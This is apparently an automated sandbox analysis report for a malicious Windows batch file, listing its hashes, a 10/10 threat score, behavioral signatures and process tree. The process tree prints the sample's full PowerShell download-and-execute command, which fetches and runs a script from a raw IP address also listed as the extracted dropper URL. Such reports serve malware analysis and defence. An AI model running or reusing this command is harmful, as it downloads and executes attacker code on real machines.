Analysis
-
max time kernel
15s -
max time network
48s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
03-10-2020 01:10
Static task
static1
Behavioral task
behavioral1
Sample
5436705d1e25ce0a762a32c200158950.bat
Resource
win7v200722
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
5436705d1e25ce0a762a32c200158950.bat
Resource
win10
windows10_x64
0 signatures
0 seconds
General
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Target
5436705d1e25ce0a762a32c200158950.bat
-
Size
218B
-
MD5
a9f336d51108c56fda11701557ded1ec
-
SHA1
57aa584c781307cf32c1ff13800d0e2acdc3eb3e
-
SHA256
b5877c4cc1d72694fa3faafa1879979975365e52e7232eb6a3a9fe8aef4aea3c
-
SHA512
4c54738d6e6c73cba4f1376276314ee6a8ad69a33ca1eb5b011f2a46d78def7e44b01d9349495f366433ea8582fb0bdae124f554be08fa6fc314437703893274
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/5436705d1e25ce0a762a32c200158950
Signatures
-
Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 5 1512 powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
powershell.exepid process 1512 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1512 powershell.exe 1512 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1512 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.exedescription pid process target process PID 1588 wrote to memory of 1512 1588 cmd.exe powershell.exe PID 1588 wrote to memory of 1512 1588 cmd.exe powershell.exe PID 1588 wrote to memory of 1512 1588 cmd.exe powershell.exe PID 1588 wrote to memory of 1512 1588 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\5436705d1e25ce0a762a32c200158950.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1588 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/5436705d1e25ce0a762a32c200158950');Invoke-UPTPJHLHIIY;Start-Sleep -s 10000"2⤵
- Blacklisted process makes network request
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1512
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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memory/1512-0-0x0000000000000000-mapping.dmp
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memory/1512-1-0x0000000073D50000-0x000000007443E000-memory.dmpFilesize
6.9MB
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memory/1512-2-0x0000000000A60000-0x0000000000A61000-memory.dmpFilesize
4KB
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memory/1512-3-0x0000000004990000-0x0000000004991000-memory.dmpFilesize
4KB
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memory/1512-4-0x00000000025C0000-0x00000000025C1000-memory.dmpFilesize
4KB
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memory/1512-5-0x0000000005240000-0x0000000005241000-memory.dmpFilesize
4KB
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memory/1512-8-0x00000000056B0000-0x00000000056B1000-memory.dmpFilesize
4KB
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memory/1512-13-0x00000000056F0000-0x00000000056F1000-memory.dmpFilesize
4KB
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memory/1512-14-0x0000000006150000-0x0000000006151000-memory.dmpFilesize
4KB
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memory/1512-21-0x0000000006220000-0x0000000006221000-memory.dmpFilesize
4KB
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memory/1512-22-0x00000000062D0000-0x00000000062D1000-memory.dmpFilesize
4KB